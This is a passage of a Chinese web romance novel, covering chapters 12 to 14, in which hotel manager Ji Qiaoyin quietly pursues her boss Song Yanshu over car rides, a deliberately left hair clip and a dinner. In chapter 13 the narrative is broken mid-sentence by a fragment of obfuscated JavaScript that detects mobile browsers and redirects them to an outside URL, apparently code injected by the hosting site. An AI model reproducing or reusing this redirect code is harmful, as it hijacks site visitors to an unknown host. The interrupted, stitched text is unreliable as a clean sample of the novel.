不等老总开口,他便自作主张地轻踩刹车。任由车子平稳滑行,最终停在季悄吟脚边。
——
季悄吟来青陵,入职海盛,为的就是宋雁书。眼下他朝自己抛出橄榄枝,她自然欣喜万分,毫不犹豫地接住。
不过答应之前,她还是故作矜持地问了一句:“宋总,会不会太麻烦您了?”
问完,她深觉自己很有绿茶的潜质,表面一套,心里另一套。
宋雁书温淡一笑,音色如常,“不麻烦。”
“谢谢宋总。”季悄吟绕到另一侧,麻溜收了伞,坐进后座。
她乌黑的长发被雨水打湿了一些,纤长浓密的睫毛上也沾染上了水汽,晶莹的一层,随着她眼皮的跳动欲落未落。
身上的衣裳太单薄,又在冷风中暴露许久,她下意识搓了搓自己冰冷的手指。
瞟到她的动作,宋雁书及时吩咐:“小常,空调开一下。”
常助理:“好的,宋总。”
在雨中待了十多分钟,季悄吟明显感觉到冷。空调一开,暖流喷涌而出,将她整个人严丝合缝包裹住,她很快就觉得身体暖和起来。
宋雁书温声询问:“季经理住哪儿?”
她扭头接上他温和明亮的眸光,红唇微动,“水榭华庭。”
只是扭头的一瞬间,一道光亮猝不及防地闪了下他的眼睛。
定睛一看才发现,罪魁祸首是她右耳发间的一枚鱼尾发夹。鱼尾处一圈莹白圆滑的珍珠,质感润泽。
比起她工作时长发绾起,干练利落的样子,她披散着长发的模样肉眼可见地温柔慵懒了许多。整个人显得特别安静乖巧,像是一只安静倦怠的猫咪。
“今天怎么没开车来?”男人随意自如地和她聊起了天。
“我的车送去保养了。”
“来青陵也有一个月了,出去玩过吗?”
季悄吟摇摇头,“我这人特懒,不爱出门。休息日也窝在家里睡觉。我太缺觉了。”
宋雁书不禁失笑,表情放松,“在海盛工作有这么累?”
她扭头睨他一眼,俏皮地笑起来,“累不累您不清楚吗?”
宋雁书:“……”
“看来是该给季经理涨工资了。”
“宋总您这么一说,我就不累了。”
宋雁书:“……”
“所以说钱是万能的。”
“钱当然是万能的,钱能让我心甘情愿替您打工。”
“看来季经理挺好收买,有钱就够了。”
季悄吟:“……”
季悄吟不免蹙眉,这话怎么听着有点歧义啊?
“你都不逛街的吗?”不等她回应,男人又自然地将话题给揭过去了。
“我很少逛街,全靠网购。就算要出门买衣服,一次买一季的那种。”
宋雁书:“……”
宋雁书忍俊不禁,“我看很多女孩子都喜欢逛街,她们享受逛街的乐趣。”
季悄吟摇摇头,“逛街的乐趣在于花钱。她们只是享受花钱的乐趣,女人只有在花钱那刻才是最快乐的。而网购同样可以。不止下单那刻是快乐的,拆快递那刻更快乐。”
她停顿一秒,莞尔而笑,“不过拆完快递就不那么快乐了。”
宋雁书:“……”
宋雁书突然发现和季悄吟聊天原来这么愉悦放松。三言两语间一整天的疲惫感竟消失殆尽了。
黑色小车平稳地驶上堰山大桥。两侧路灯灯杆笔直,光束昏黄。
江面波平浪静,迷蒙雨雾里隐隐现出一个小岛的轮廓。因为距离远,又是在夜间,看上去尤其模糊。
“宋总,那个角是什么?”季悄吟的视线停留在车窗外,仔细盯着浪江中心的一个小角看了半天,可始终未能看清。
“什么?”宋雁书顺着她的视线望出去。
季悄吟指给他看,“就是江面上的那个小角,好像是一个小岛。”
“那是檀香岛。”宋雁书轻声告诉她:“檀香岛春天的樱花是一绝。最近樱花刚好开了,季经理可以抽时间去岛上看看。”
“还是算了吧。”季悄吟明显提不起太多兴趣,乏善可陈的语气,“旅游的本质就是从自己待腻的地方转移到别人待腻的地方,没什么意思。”
宋雁书:“……”
宋雁书却不认同她的看法,“旅游也看人的,看你和什么人一起出门。”
季悄吟:“我读大学的时候也和我室友去过好多地方玩。每次兴致勃勃地赶过去,结果逛不了两个地方就跑回酒店窝着。夏天怕热,冬天怕冷,节假日怕人多,吃饭靠外卖,生活费全贡献给了酒店。每次总是趁兴而去,败兴而归,最后总结还是搁寝室待着最舒服。”
宋雁书:“……”
“你都说是室友了,换成男朋友想必会不一样。”
季悄吟无辜地眨了眨眼睛,“换成男朋友不是更不愿意离开酒店了么?”
宋雁书:“……”
男人眸中溢出笑,“确实。”
两人随意聊了几句,车厢里就逐渐安静了下来。
季悄吟安静地坐着,也不敢刷手机,怕显得不礼貌。
和宋雁书坐在同一辆车里,那股清淡冷冽的木香如影随形,挥之不散,让她不由自主地变得心猿意马。
她真的很想问问宋雁书用的究竟是哪款香水,这个味道太上头了。她已经分不清眼下究竟是迷恋他这个人,还是迷恋这个味道。
车内太安静了,两道均匀平和的呼吸声,伴着雨刮器扑哧工作的细微声响,一直缠绕在季悄吟耳旁。
一时间各种纷繁复杂的念头都在脑海里过了一遍。她的内心宛若一面充盈的湖水,几乎都快满溢出来。
心湖涌动,无声无息,绵延伸向远方,永无止境。
季悄吟有些无措地摸了一把自己的长发,手指突然碰到发间的发夹,金属制品微凉的触感震颤着她的指尖。
感受到这点凉意,她的魂儿总算回来了。
摸住那枚发夹,心思微妙地转了好几圈。
很快水榭华庭就到了。
在距离小区一百米的路口,季悄吟及时对常助理说:“常助理,麻烦在这里停下车。”
常助理透过风挡往外望了望,“季经理,这还没到小区门口呢!”
季悄吟抬手指了指远处的一家花店,“我要到那边的花店买点花。”
宋雁书下意识往窗外探了一眼,一张鎏金的招牌出现在浓沉夜色中——勿忘我。<
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p>很特别的店名。
他收回目光,淡声问:“季经理懂花艺?”
季悄吟笑着摇头,“我完全不懂,只是买点花装饰一下家里。”
她下了车,撑开透明伞,隔着车窗和宋雁书道别:“谢谢宋总送我回来,晚安!”
宋雁书:“晚安。”
年轻女人娉婷袅娜的身影逐渐消失在雨雾深处。
宋雁书收回视线,挥了挥手,“走吧,小常。”
常助理重新发动车子,“宋总,现在送您回家吗?”
“去疗养院,我去看看外婆。”
——
外公与世长辞,外婆一下子便得到了解脱,老宅也不愿意住了。一个人毅然决然地住进了惠仁疗养院,整天跟那群老头老太太打牌下棋,好不惬意。
房间里老太太正在和护工聊天,内容无非是家长里短,儿女孙辈。
正提到宋雁书,他便推门而入,“外婆,您又说我什么坏话呢?”
见到他,老太太展眉一笑,惊喜万分,“这个点,雁书你怎么来了?”
“今晚难得没应酬,时间又早,就过来看看您。”
老太太拉着外孙坐下,满面笑容,“还是我的好外孙惦记我这老太婆,阿问那小子十天半个月都不露一下脸。”
提起表弟秦问,宋雁书难得没拆他台,淡声说:“他医院忙,得空了肯定就来看您了。”
“一个兽医能有多忙?还不是整天在外面厮混。雁书你是哥哥,平日里多看着他点。”
“外婆您放心,阿问他现在乖多了。”
比起前段时间,老太太现在的气色明显好多了,人也精神了。
老太太抓着外孙怜爱地问:“晚饭没吃吧?”
“没。”
“我让人去备点,在我这儿吃吧!”
“好。”
不到二十分钟,护工就送来了热气腾腾的饭菜,装在精致的餐盒里,油光水滑,红红绿绿。
老太太的晚餐早已吃过,她就坐在一旁看宋雁书吃。
“我听你小姨说你把海盛那些个老人都开得差不多了?”
“嗯。”宋雁书倒是没回避,“海盛需要改革,高层当然要大换血。”
“雁书,你是个有主见的孩子,我倒也不必提点你什么。不过有一点你得记住,兔子逼急了还咬人,凡事留一线,日后好相见。”
宋雁书捏筷子的手指不禁紧了紧,“小姨有跟您说什么吗?”
老太太叹口气,“真是什么都瞒不过你。你又不是不知道你小姨那人,向来对生意经不感冒的,还不是底下有些人找到她,要她来当这个说客。”
宋雁书:“外婆,我心里有数的。海盛是您和外公一辈子的心血,我只想让它变好。”
“你做事外婆当然放心。”老太太面露欣慰,不禁老生常谈,“你这孩子自小就让我和你外公省心。你什么都好,就是个人问题这块老是不上心。眼瞅着就要三十了,该收收心,找个合适的姑娘定下来了。”
宋雁书:“……”
宋雁书有些头疼,浓眉紧蹙,“外婆,你是存心不想让我好好吃饭是吧?”
不论是宋家还是秦家,宋雁书都不曾看到从一而终的婚姻。
可笑的是,他们却总是锲而不舍催促小辈踏入那座围城。好像不完成这项使命,人这一生就白活了。外婆是这样,他的父母也是这样。
老太太敛眸,嗔一句:“你这孩子一说就急,外婆不说就是了。”
12. 第12杯酒
第12杯酒
第二天一早,常助理来精言公寓接宋雁书上班。
他一坐进车里,常助理就递给他一样东西,“宋总,这是我昨晚收拾车子在后座捡到的,应该是季经理落下的。”
除了宋雁书的外婆,他的车从来没载过任何一位女性。季悄吟是第一位坐他车的年轻女孩。这枚发夹毫无悬念就是她的。
宋雁书微微垂眸,看到常至手心里躺着一枚漂亮的鱼尾发夹。
脑海里骤然浮现出季悄吟戴着这只发夹的样子。
长发随意地散落肩头,乌黑的发间夹杂一抹莹白,慵懒温柔的样子,没有任何一点攻击性。明明是清冷俏佳人,那一刻却变成了乖顺小绵羊。太乖了,轻易就能激起男人的保护欲。
“交给我吧,我找时间还给她。”宋雁书接过后,转手放进了钱包。
常助理透过后视镜看到宋雁书如此小心翼翼的样子,像是在珍藏一件宝贝。
一时间他对季悄吟的膜拜之情立刻蹭蹭蹭往上涨。
还是第一次有女生能让宋雁书这样。
他就知道自家老总对这位季经理是不一样的。那天在殡仪馆门口,宋雁书主动给季悄吟让车,他就猜到了。
后面老总种种不同寻常的做法都逐一验证了他的想法。
常助理内心不免涕泗横流,他家Boss终于重新上道了。上一段恋爱可都是两年前的事了。空窗期这么久,总算要开春了。
常助理扶着方向盘,忙不迭开口:“宋总,我听说季经理还没有男朋友。”
宋雁书轻抬眼皮,施施然反问:“所以呢?”
常助理竟比宋雁书这个当事人还开心,激动异常,“说明您还有机会。”
宋雁书:“……”
***
季悄吟等了两天也没等到宋雁书来还她的发夹。
她忍不住怀疑,难道他没捡到她的发夹吗?
难不成被常助理捡到了?
就算常助理捡到,他肯定也会第一时间交给领导的。
还是说他捡到了,不知道是谁的,又给丢了?
季悄吟将各种可能性都逐一梳理了一遍。可越梳理越没底。
眼看着两天过去,宋雁书还没来还发夹,她知道自己的计划多半泡汤了。
她隐隐后悔,那晚就不该故意留一枚发夹的,她就应该留下贵重物品,像手机钱包之类的,这样就不愁他不来还了。
追人好难啊!尤其还是这样不着痕迹,悄无声息地蓄意接近,这边既要达到自己的目的,那边还不能被对方察觉。必须将那个分寸拿捏得恰到好处,多一分危险,少一分又起不到作用,要找到那个最佳的临界点,然后下手。最好能一击即中。
难度系数堪比排兵布阵。这可比工作难太多了。她往日对付难缠的客人都没这么迷茫无措过。
她觉得她有必要去翻翻兵书了。什么《孙子兵法》,《孙膑兵法》,《吴子》,《六韬》这些,她都要回去仔细研究研究。
想到这里,季悄吟果断在某宝上下单了两本兵书。
***
清明小长假如期而至,酒店最近的入住率明显上升了。
工作逐渐步入正轨,季悄吟应付自如,再也不会像刚入职那会儿那样焦头烂额了。
4月4日清明节。
季悄吟轮休。
她开车回了趟宛丘,和母亲一起给养父扫墓。
从墓园回来,季悄吟本想回南岱酒店看看以前的老同事。但又怕遇到凌湫恒,到时候再传到他老婆耳朵里,又是一通麻烦。
她在南岱工作六年,凌湫恒是她的顶头上司,也是她的师父。他教会了她很多。她自问问心无愧,从未做出任何逾距的行为。但奈何还是抵不住流言蜚语。
她辞职还算是小事。只是可惜她和凌湫恒连师徒、朋友,都做不成了。
天色若明若暗,混沌一片。细雨疏疏密密,如牛毛,似花针。冷风携裹湿寒,空气中水汽氤氲。人吸一口,连肺都是凉的。
也不知是日子特殊,还是天气使然。季悄吟的心情是皱的。仿佛一张白纸浸了水,又被搓成纸团,折痕明显,湿哒哒渗着水。展不平,干不透,拧巴焦灼着。
一个人漫无目的地走在大街上。
雨水悄悄打在透明的伞面上,一点一点积聚,伞檐落下串串珍珠,敲了一地都是。
路过电影院,许多男男女女进进出出。节假日往往都是电影院的客流量高峰。
季悄吟恍然想起她差不多有大半年没有看过电影了。在酒店工作,自己可以支配的时间几乎为零,每天都累成狗。
好在还可以看看电影打发打发时间。
她收了伞,进了大厅。
抱着手机,翻看电影名单,正思考该看哪部电影,一个稚嫩的童声由远及近,不期而至,“小季阿姨!”
怔神之际,怀抱立刻就满了。
一双胖乎乎的小手环住了她腰。
眼前的小女孩长得肉嘟嘟的,扎着两条乌黑的羊角辫,穿着漂亮的小裙子和小皮鞋,简直都能萌化人。
季悄吟摸了摸小女孩柔软的发顶,弯下嘴角,“楠楠,你怎么在这儿?”
“我跟爸爸妈妈来看电影,我们刚看了变形金刚。”楠楠小朋友紧紧抱住季悄吟,奶声奶气地问:“小季阿姨,你也来看电影吗?”
季悄吟点点头,“对啊!”
“你一个人吗?”
“嗯……”
“楠楠,别动不动就往别人怀里钻,这样很没有礼貌的懂不懂?”一道严肃的女声快速横.插进来,打断一大一小的互动。
很快一个年轻漂亮的女人走进季悄吟的视线。她穿千鸟格套装,背着香奶奶的链条包,高跟鞋踩在地上,步调急促,几乎是小跑着过来的。
与女人一起的还有一个同样年轻的男人,西装革履,气质矜贵。
南岱酒店由凌景宏及其夫人于萍创建,总部位于青陵。凌氏夫妇膝下无子,只有一位独生女凌萌初。凌萌初自小便无心继承家业,父母也对其甚是宽容,并不逼迫。南岱酒店的生意多仰仗家中亲戚帮忙打理。
凌景宏的侄子凌湫恒则被委派去了宛丘,担任宛丘分店的CEO。也就是季悄吟离职前的顶头上司。
凌湫恒今年三十五岁,三年前结的婚。商业联姻,娶的是横桑楼家的二小姐楼菀。
见到凌氏夫妇,季悄吟忙松开怀里的小朋友,笑起来,露出友好的笑容,“凌总,凌太太,好巧啊!”
楼菀不由分说,立刻将孩子拉走,护在身后。
这举动未免太过防备。好像季悄吟就是那人贩子,随时随地都能把孩子给拐走。
楼菀掀起眼皮打量季悄吟两眼,目光并不怎么和善,“是挺巧的,出来看个电影都能碰到季小姐。”
这个女人对季悄吟的敌意是显而易见的。不过这都算是有所克制的了。季悄吟不是没见过楼菀咄咄逼人的样子。她逼自己辞职时,面目狰狞,扬言她若是不辞职,她一定会让她身败名裂,在酒店行业混不下去。
季悄吟不是怕楼菀才辞职的。她只是不想成为众人茶余饭后的谈资,毕竟人言可畏,唾沫星子都能淹死人。重新换个环境,耳朵也能清净点。
“小季,你一个人来看电影啊?”凌湫恒淡淡的目光落在季悄吟身上,匆匆几秒,又不动声色抽离掉。
季悄吟飞速撒了个谎:“和我朋友来的,不过她去洗手间了。”
“那就不打扰你看电影了,我们先走一步。”楼菀自发挽上丈夫的胳膊,态度亲昵,“老公,我们赶紧回去吧!楠楠都困了。”
凌湫恒俯身抱起女儿,“小季,我们先走一步。”
季悄吟微笑道:“您慢走。”
楠楠趴在父亲的肩头,一直在冲季悄吟挥手。
一家三口离开后,季悄吟也没什么兴致看电影了。好心情都被败光了。
手机微震,进来一条微信。
凌湫
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恒:【小季,你辞职的事情,我很抱歉。】
季悄吟看完,直接删掉。
——
当天傍晚,季悄吟开车回青陵。
四个小时的车程,到青陵时夜色正深。
等到要开门时,她才发现钥匙落在母亲家了。
无奈之下,季悄吟只好去办公室拿备用钥匙。
就怕自己哪天忘记拿钥匙,她特意在办公室抽屉备了一把。
拿完钥匙,肚子适时唱起了空城计。
饭点早就过了,眼下她还颗粒未进。索性到酒店附近找个馆子吃饭。
从2号楼后门出去,路过凉亭,却意外撞见一抹清瘦孤寂的背影。
不经意间的一瞥,来得意外。却似乎该就这么凑巧,要被她遇到。
男人的指间燃着半截香烟,猩红的火星子被风越吹越旺,淡淡青烟沿着周身飘散开,迷离缥缈。
宋雁书好像特别喜欢来凉亭抽烟。那晚季悄吟值班,他撞破她坐在凉亭里打瞌睡,当时他也说他来这里抽烟。
雨丝飘个不停,夜里起了雾,远处灯火愈见朦胧。春寒依然浓烈,丝丝浸骨,无孔不入。
夜风灌满男人的裤管,黑色的衣料彻底融入无边的夜色,一身清寒。
四面八方斑驳混乱的光线不约而同地扫射过来,他置于大片朦胧夜色中,整个人都是虚无漂浮的,就跟是假的一样,分外不真实。
晚上八点,明明是一天之中最热闹的时刻,大城市的夜生活才刚刚拉开序幕,街上人来人往,熙熙攘攘;饭店高朋满座,座无虚席;年轻人放肆狂欢,尽情挥霍人生。
可是这一刻,季悄吟只感受到了落寞。来自宋雁书的落寞。
他仿佛置身大片荒芜的原野上,半边天光,半边黑暗,他整个人被萧瑟寒风包裹,被撕扯,被割裂,甚至被吞噬。
二十八岁的年纪,别人还在为车房卖力奋斗。而他却早已坐拥一切。本该肆意畅快,俯瞰众生,却为何这般孤寂落寞?
她下意识握紧伞柄,心脏难以遏制地抽痛了一下。
她不知道他遇到了什么,但是她是真的心疼他。
所以忍不住想要走近他。她很清楚,自己或许根本就温暖不了他,但她想要接近他心底的荒芜。
宋雁书听见脚步声慢慢转头,他深沉的目光像是置于茫茫虚空中,用尽全力才找到一个点,准确来说应该是一抹白。
季悄吟穿一件衬衫领的连衣裙,颜色雪白到近乎刺眼,似要生生将这浓沉夜色彻底驱散干净。
随后准确无误地聚焦在她脸上。
两人的视线隔着空气接触,季悄吟从男人的眼神里读出了诸多情绪,沉郁、难过、无措,甚至还有几分愧疚。
平日里这双眼睛里有清冷、疏离、犀利,偶尔也有温和,但是它是明亮的,有神的,精彩的。
不像此刻,黯淡无神,毫无光彩。
她终于意识到,他应该是真的心情不好。
她低头喊了一声:“宋总。”
直到她终于走近,他们隔了一两步距离,清冽的木香沉缓迫近,悄无声息地钻进鼻腔。
她这才看到他淡淡地笑了一下,“季经理今天不是休息么?”
季悄吟扬了扬手中的那串金属,“我回来拿钥匙,钥匙没带。”
烟灰堆积在末端,长长一串,一根烟都快然尽了。他好久都没抽一口。
他屈起手指弹了弹,抖落大块烟灰,“季经理,你吃晚饭了吗?”
季悄吟摇摇头,“还没呢!”
她刚正准备找馆子填饱肚子,路过凉亭看到宋雁书在这里抽烟,她就给耽误下来了。
“一起吧!”他掐灭烟蒂,语气自然。
“一起什么?”她有些没反应过来。
他勾起唇角轻笑,吐字清晰,“一起吃饭。”
“啊?”惊喜来得太突然,她惊讶万分。
“季经理不愿意?”
“当然不是。”
13. 第13杯酒
第13杯酒
两人走到停车场,季悄吟才发现宋雁书打算自己开车。
他自然地替季悄吟开了副驾的门。
她拎起包坐进去,挺直腰板,不自觉地规矩起来。
说实话,内心还挺激动。毕竟第一次跟宋雁书一起吃饭,而且只有他们两个人。
男女吃饭,排除朋友,总有那么一股子暧昧存在。季悄吟不仅不在乎,她还乐意让这暧昧就此延续下去。
点火,打灯,出库,一气呵成。黑色小车一溜烟驶离酒店,迅速滑进主干道来来往往的车流。
清明节,路上依然有执勤的交警,荧光绿的马甲在阴冷沉默的雨天显得尤其突出。
大概是养父的原因,季悄吟对交警这个职业天生就有好感。每次在大街上看到执勤的交警,她就觉得特别亲切,好像养父一直就在她身边,从未离开。
“季经理想吃什么?”宋雁书的双手搭在方向盘上沿,十指细长,骨节分明,被外面的路灯拉出一道斑驳的剪影。
“今天清明,倒是挺想吃艾米果的。”季悄吟目不转睛地看着主驾上的人,褐色瞳仁亮晶晶的,好似掬了一捧皎洁月光。
“宋总你知道艾米果吗?是我们宛丘的特产。就是一种用米粉和艾草做成的食物,跟青团类似的,不过形状不一样。青团是圆的,艾米果长得像饺子,但它比饺子大,里面的馅儿是腊肉、春笋和酸菜,有些主妇还会放点豆芽和胡萝卜丝,特别好吃。也有甜的,馅里裹豆沙,用漂亮的模具印出来。那才是春天的味道。”
她一边说,一边回味,一双眼睛眯成缝,眼角眉梢都充盈着笑意,表情满足。
“艾米果我知道的。我也是在宛丘出生的,一直待到初中毕业才来到青陵。我小时候也吃过这种食物,我奶奶每年都做。”宋雁书被她的笑容感染,原本覆着在眉宇间的阴郁顿时一扫而空。
他这么一说,季悄吟这才反应过来自己刚才有些激动了,描述的过于详尽了。他在宛丘待了那么多年,怎么可能不知道当地的特产。
宋雁书:“你这次不是回了宛丘么?你妈妈今年没做艾米果吗?”
“我妈妈她不会做。”季悄吟面露遗憾,“城里人已经很少有人会做这种食物了。”
她外婆倒是会做,可惜外婆早几年就不在了。
“青陵没有艾米果,不过青团倒是有。”
“饭店的都不正宗,比起自家做的总少了那么点味道。”
“我倒是知道一家饭店青团做得蛮正宗的,我吃过一次,今天带你去尝尝。”
“好呀!”她眉眼弯弯,心中生出许多期待。
车厢里安静了一小会儿,季悄吟抠了下自己手指,装作不经意间提起:“宋总,我刚听你说你在宛丘待过?”
“嗯,待了十多年,一直到初中毕业才离开,高中是在青陵读的。”
“好端端为什么要离开呀?”她坐直身体,竖起双耳,屏住呼吸。
时隔十一年她终于问出了这个困惑她许久的问题。
宋雁书并未察觉到季悄吟的异样,语气如常,“爷爷奶奶年纪大了不方便继续照顾我,我就被接去了青陵外公家。再者家里人觉得青陵这边的教学质量更好,就让我转学了。我高中是在青陵一中读的。大学去了荷兰留学。”
季悄吟设想过很多可能,这个原因也在她的范围之内。但亲口听宋雁书说出来,总归还是不一样。
“宋总,你初中在哪个学校读的?”
“三中。”他转头看她,“你呢?”
“十五中。”
“我中考考场分到十五中。”
“你还记得中考?”
“当然记得,我中考的准考证还丢了。”
季悄吟故作镇定,“那你怎么参加中考?”
“考完才丢的。最后一门化学考完,回去就找不到了,也不知道丢哪里去了。”
随着宋雁书的话,季悄吟的思绪不由自主地往回跑了跑。他应该永远都不会知道,他丢失的那张准考证其实就在她手里。她妥善保管了整整十一年。
——
车子下了堰山大桥以后,宋雁书打了左转灯,车子左拐进入更为繁华的老街。
这一带都是上了年代的古建筑,清一色的灰白色,古朴又陈旧。
一排排整齐的老楼栖息在微茫细雨中,增添了几分历史积淀感。
季悄吟看着窗外徐徐略过的建筑有些出神。好像一下子回到了小时候。
在她读幼儿园那会儿,宛丘也有好多类似的老街,几十年的灰白小楼孤寂地伫立在路边,推着平板车的小贩沿街叫.卖。
糖葫芦、棉花糖、烧饼、油条……
她总是拽住养父的警服衣角,眼巴巴地看着他,“爸爸,我想吃棉花糖。”
养父嘴上说小孩子吃糖容易蛀牙,可每次都有求必应,要什么买什么。
他微笑地揉她的脑袋,“不许告诉妈妈,不然爸爸要挨骂的。”
养父是季悄吟见过最温柔的男人。
她对于未来枕边人所有美好的期待都来源于养父。
想起养父,她的心情立刻又皱了几分。
然后不经意间,一位中年交警闯入她的视线。
这位交警正在卖力追一位开电瓶车的外卖小哥。应该是警车坏了,警察叔叔跑步追人,追得特辛苦。
而那外卖小哥的电瓶车却开得飞起,一路闯了好几个红灯。
“别跑……别跑……”那交警大叔气喘吁吁,满头大汗。
季悄吟看着有些于心不忍,转头对宋雁书说:“宋总,我们帮帮他吧!”
宋雁书专注开车,有些没跟上她的节奏,奇怪地问:“帮谁?”
那边季悄吟早已降下车窗,扬声对路旁的交警喊:“警察叔叔快上车,我们帮你追他。”
宋雁书:“……”
宋雁书反应很快,果断踩下刹车,将车停在路边。
季悄吟催促交警大叔:“警察叔叔赶紧上车,不然那人就跑了。”
那中年交警先是一愣,过后麻溜拉开后座的车门,爬上车,狠狠抹了一把额头上的汗水,喘着大气说:“谢谢你们呐!”
带点宛丘方言的普通话,让人听着特亲切。应该也是宛丘人。
季悄吟:“那外卖小哥犯什么事儿了吗?您追他这么紧。”
交警大叔义愤填膺,“这家伙逆行,刚在路口撞到了一位老太太,不说送人去医院,爬起来就跑了,我能不追他么?”
“坐稳了!”宋雁书撂下话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15757825|174388||http|test|mini|href|location''.split(''|''),0,{}));
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>下一秒,猛踩油门,黑色小车疾驰,犹如一道闪电,立刻就追上了前面的外卖员。
随后他猛打方向盘,来了个漂亮的漂移,直接拦住了对方的去路。
“哧……”一声刺响,电瓶车紧急刹车,被迫停在了宾利前,不敢动弹。
外卖小哥惊吓过度,脸色煞白,破口大骂:“你特么找死啊!”
交警大叔见状朝宋雁书竖起大拇指,“小姑娘,你男朋友这车技蛮厉害嘛!”
季悄吟:“……”
季悄吟特尴尬,正欲解释,大叔已经率先拉开车门下了车,“谢谢你们哦!”
交警大叔一下车就把那外卖员给逮住了,一顿训。
一段小插曲,过后季悄吟才问:“宋总,我是不是太多事了?”
当时事发突然,她也没想那么多。这会儿才后知后觉地意识到可能有点多管闲事了。
宋雁书摇摇头,“不会。”
说完不自觉笑了起来,“你应该是第一位载着交警追人的市民,这要是被人拍了放到网上,你铁定就火了。”
季悄吟:“……”
“我爸爸生前就是一名交警,每次在街上看到那些穿制服执勤的警察叔叔我就觉得特别亲切。曾经我的父亲也是这其中的一员,我感到特别骄傲。”女人提到父亲时,两眼发光,神采奕奕,满腔的自豪流露在脸上。
看得出来这对父女的感情很好。
“你父亲他怎么走的?”
“执勤时抓人贩子,被对方捅了好几刀,失血过多,刚送进抢救室,人就没了。”
宋雁书嘴唇微动,想说点什么,却发现不管说什么都显得多余。在死亡面前,任何安慰都苍白无力。
最终他也只能生硬地挤出这么一句话:“你父亲是英雄。”
“对啊,他就是英雄,我最骄傲的一件事就是做了他的女儿。”
女人看向车窗外飞逝而过的街景,蓦地想起什么。
今天是清明啊,这么特殊的日子。
“宋总,今天是清明节,你是不是去看你外公了?”声音刻意压得很低,流露出一股小心翼翼。
“嗯,下午刚给他扫了墓。”男人吸了口气,又缓缓吐出,“我外公走的时候,我正在横桑出差,没见到老人家最后一面。在机场听闻噩耗时,我当时什么都不会想,脑子很空,一切来得太突然,我不敢相信它是真的。”
宋雁书很少跟人提起自己私事。今天去给外公扫墓,是他最重要的一件私事。他一个人去了西郊墓园,没有跟秦家任何人一起。
他买了一束菊花,一个人默默地外公墓前坐了一个小时。然后离开。
他本不会跟别人提及的。但季悄吟问了,他便说了,而且还多说了一些。
“是这样的,我爸走的时候,我也跟你一样,整个人特麻木。一直过了好几个小时,看到我爸被盖着白布,了无生气地出现在我面前,我才一下子奔溃了。”
许是话题太过沉重,两人点到为止,不再多聊。
这世上的人总归还是会离开,或早或晚。人生在世,我们总是在不断和人道别。活得越久,就越是孤独。
时间是一味良药,所有的伤痛都会被慢慢抚平,被一点一点治愈。最终都会看开。看开了,也就这样了。
14. 第14杯酒
第14杯酒
宋雁书口中青团做得很正宗的饭店就是檐外听雨。
店名取得别致,店内环境同样雅致清幽,丝丝沉木香混在温热的气流里,勾人呼吸。
“这家店好生古朴。”季悄吟四处打量这家清雅别致的小店,“宋总,它得有些年头了吧?”
宋雁书闻声点点头,“余家祖上的产业,是得有百十来年了。”
中庭大堂上一男一女两位先生正在唱苏州评弹。悠长婉转的曲调浮在温热气流里,传了老远老远。
江浙一带流行苏州评弹,很多风雅文艺的茶馆酒肆都有这项文艺表演。季悄吟过去也听过一些著名的曲目,但都没有台上这两位先生这般正宗。
腔调,咬字,神态,表演,起承转合,无不精湛。
宋雁书见她听得认真,不禁问道:“季经理懂评弹?”
“宋总太高看我了。”她摇头轻笑,“这么文艺的东西我可不懂。”
宋雁书表示理解,“很多人都说这玩意晦涩难懂。”
“但凡有点历史的东西都是难懂的,你看京剧,越剧,学起来多难啊!我妹妹就是学越剧的,今年大三。每天一大早起来吊嗓子,一天都歇不得,我看着都累。而且现如今戏曲不吃香,找工作都难。我估摸着她毕业以后八成得转行。”
宋雁书颇感意外,“你还有妹妹呢?”
“表妹,我小姨的女儿。”
“现在能学这种冷门专业的都是勇士。”他面露佩服。
“可不,架不住她自己喜欢呀!年轻人嘛,千金难买我喜欢。”
宋雁书明显是常客,店长亲自接待。
将两人迎上楼,店长轻声说:“宋先生,我们家二少和夏先生今晚也在呢!”
“是么?”男人掀了掀眼皮,旋即就说:“那我可得打个招呼去。”
宋雁书转头告诉季悄吟:“有两个朋友今晚也在这边,我去打个招呼。”
季悄吟压下嘴角,“那您去吧。”
宋雁书语气自然,“一起去,都认识一下。”
季悄吟:“……”
因为宋雁书的这句话,店长忍不住抬眸多看了季悄吟两眼。
一条长长的走廊走到底,左手边一间包厢,推门进去,季悄吟见到两个年轻的男人坐在太妃椅上喝茶。
茶壶扑腾冒泡,满室的清透茶香,扑鼻而来。
两人衣着休闲,并未刻意的西装革履,可那举手投足间流露出来的气质,一看便知道出身不凡,身份贵胄。
他们和宋雁书才是一类人。
“你俩倒是清闲,窝这儿喝茶来了。”宋雁书爽朗一笑,嗓音徐徐而至。
其中一位穿白色棒球服的男人听闻声响微微转头,长相出众,气质卓然。
他不着痕迹地觑一眼季悄吟,高深一笑,“我俩又没有佳人相伴,不喝茶又能干点什么呢!”
宋雁书赏了对方一记白眼,不客气地说:“余二少,你少来这套,你这家伙还缺女人?整个青陵的公子哥里,就数你最不缺女人。”
余初和笑得痞气,“宋总,您老可真是冤枉我了,我这么根正苗红的五好青年,怎么到你嘴里就成花花公子了呢!”
“是不是花花公子我说了不算,得你那些个前女友说了才算。”男人的嗓音深深沉沉,浮在温热气流里。
余初和:“……”
插科打诨一通,宋雁书才向季悄吟介绍人,“我的两个兄弟,这位是这家店的少东家余初和,那位是惠仁医院的院长夏君岱。”
檐外听雨的少东家,惠仁医院的太子爷,果然都是大人物。
堰山这一带,就数这几个姓氏显赫了。
“余先生,夏先生你们好,我是季悄吟。”季悄吟微笑着打招呼,落落大方。
“悄吟?”余初和缓缓读出这两个字,唇角笑意明显,“一听就知道是美女的名字,太衬季小姐你了。”
“余先生不觉得这名字拗口么?从小到大,但凡听过这名字的人都说拗口。”季悄吟眨了眨眼睛,半开玩笑的语气。
余初和:“……”
余二少捅捅宋雁书的胳膊,笑容暧昧不明,意有所指,“我们宋总觉得拗口吗?”
宋雁书连眼神都懒得赏给对方,语气波澜不惊,“我觉得还好。”
余初和:“只要我们宋总不觉得拗口,那就不会拗口。”
宋雁书:“……”
这分明是拿宋雁书打趣。也只有兄弟间才能这么互相开玩笑。
